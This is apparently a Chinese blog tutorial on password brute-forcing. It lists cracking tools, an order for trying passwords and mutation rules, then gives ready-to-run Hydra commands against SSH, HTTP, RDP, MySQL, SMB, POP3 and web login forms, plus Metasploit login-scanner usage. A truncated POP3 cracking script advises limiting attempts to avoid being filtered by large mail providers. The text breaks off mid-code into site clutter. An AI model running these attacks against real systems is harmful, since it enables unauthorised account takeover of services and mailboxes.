WEB安全之:密码穷举破解

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

密码破解的实用工具:

Ophcrack, L0phtCrack, Cain & Abel, thc-hydra, RainbowCrack, Aircrack, AirSnort, PwdDump, Kerbcrack, brutus

  1. 思路

    1. 前期环境:目标系统实施了强安全措施
      • 安装了所有补丁
      • 无任何已知漏洞
      • 无应用层漏洞
      • 攻击面最小化
    2. 社会工程学:通过社会工程学的方式进行信息收集
    3. 获取目标系统用户身份
      • 非授权用户不守信,认证用户可以访问守信资源
      • 已有用户账号权限受限,需要提权
      • 不会触发系统报警
  2. 身份认证方法:证明你是声称你是的那个人

    • 你知道什么(账号密码、pin、passphrase)
    • 你有什么(令牌、token、key、证书、密保、手机)
    • 你是谁(指纹、视网膜、虹膜、掌纹、声纹、面部识别)
    • 以上方法结合适用(多因素身份认证)
    • 基于互联网的身份验证以账号密码以主要形式
  3. 密码破解推荐原则:破解时采取先易后难的原则,建议如下:

    • 利用收集的公开字典进行破解
    • 使用1-8位数字进行破解。
    • 使用1-8位小写字母进行破解
    • 使用1-8位大写字母进行破解
    • 使用1-8位混合大小写+数字+特殊字符进行破解
  4. 密码破解方法

    1. 人工猜解
      • 垃圾桶工程
      • 被动信息收集
    2. 基于字典暴力破解(主流)
    3. 键盘空间字符爆破
      • 全键盘空间字符
      • 部分键盘空间字符(基于规则)
      • 数字、小写字母、大写字母、字符、空格、瑞典字符、高位ASCII码
    4. 字典
      • 保存有用户名和密码的文本文件
  5. 用户密码变型

    • 基于 cewl 的结果进行密码变型
    • 末尾增加数字串
    • 字母大小写变化
    • 字母与字符互相转
    • 字母与数字互相转换:P@$$w0rd
  6. 影响密码破解效率

    • 密码复杂度(字典命中率)
    • 带宽、协议、服务器性能、客户端性能
    • 锁定阈值
    • 单位时间最大登陆请求次数

1 Hydra

Hydra (九头蛇) 是著名黑客组织 thc 的一款开源的暴力密码破解工具,可以在线破解多种密码。Hydra 是一个并发的登录破解程序,支持许多协议攻击。新模块更容易添加,除此之外,Hydra 非常灵活和迅速的。

1.1 支持的协议

adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

1.2 攻击步骤

  • 选择目标:输入目标地址,可选:单独IP、CIDR(192.168.0.1/24)、文档中的列表。
  • 选择协议:输入需要爆破的协议,如 ftp:// 等。确保目标系统开启服务
  • 检查可选参数:假如爆破需要加入额外的参数则添加即可。

1.3 攻击实例

图形化 Hydraxhydra

# 扫描端口
nmap -p- 192.168.100.129   #-p- to scan ports from 1through 65535.

# -l 指定用户名,-L 指定用户名字典文件;-p 指定密码,-P指定密码字典文件; -M 指定多个 IP 进行穷举
# ssh 密码破解
hydra -L users.txt -p msfadmin ssh://192.168.100.129 -v

# HTTP 密码破解
hydra -L user_list.txt -P pass_list.txt -t 64 http-post://192.168.100.1 -I

# rdp 密码破解
hydra -L user_list.txt -P pass_list.txt -t 64 rdp://192.168.100.130 -I -v

# mysql 密码破解
hydra -L user_list.txt -P pass_list.txt -I -vV -f -e n  -t 64 mysql://192.168.100.129 -o mysql_crack.txt

# SMB 密码破解
# -e n:空密码试探,s:使用指定用户和密码试探,r:将用户名反向作为密码输入
hydra -l win2019 -P pass_list.txt -e nsr -t 16 192.168.100.130 smb

# 邮箱密码破解
pop3:
hydra -l muts -P pass.txt my.pop3.mail pop3

1.4 在线密码破解(了解)

#Login=login:中“:”后面指定返回的是错误的特征字符,Login=login:S=index.php表示登陆成功后特征字符,可以是内容或HTTP头内容;
hydra -l admin -P password.lst 192.168.10.128 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=login:S=index.php" -V  

# Login=login:login.php表示登陆错误后特征字符;
hydra -l admin -P password.lst 192.168.10.128 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=login:login.php" -V  

hydra -l admin -P password.lst 192.168.10.128 http-post-form "/foo.php:user=^USER^&pass=^PASS^:S=success:C=/page/cookie:H=X-Foo: Foo"
# C:先访问指定页面取得cookie
# H:指定http头
# https-post-form、http-get-form、https-get-form
# -S:使用SSL连接

2 Metasploit 穷举模块使用

# 密码破解模块
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login

# 用法
# 进入 Metasploit 命令行界面
msfconsole
# 选择所要使用的模块
use auxiliary/scanner/ssh/ssh_login
# 查看模块需要配置的内容
show options
# 配置模块
set rhosts 192.168.100.129
set user_file user_list.txt
set pass_file pass_list.txt
set stop_on_success true
# info 查询模块配置信息
info
# 运行模块
exploit/run

3 邮箱破解

#!usr/bin/python
# !coding:utf-8
# description:
# 为了防止 IP 被所测试大厂过滤,建议一次测试案例不要超过 10 个,越少越好。
# 测试的密码应当为 POP3 的认证密码,与所登陆的邮箱密码不一样。

import poplib
import sys

if 
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值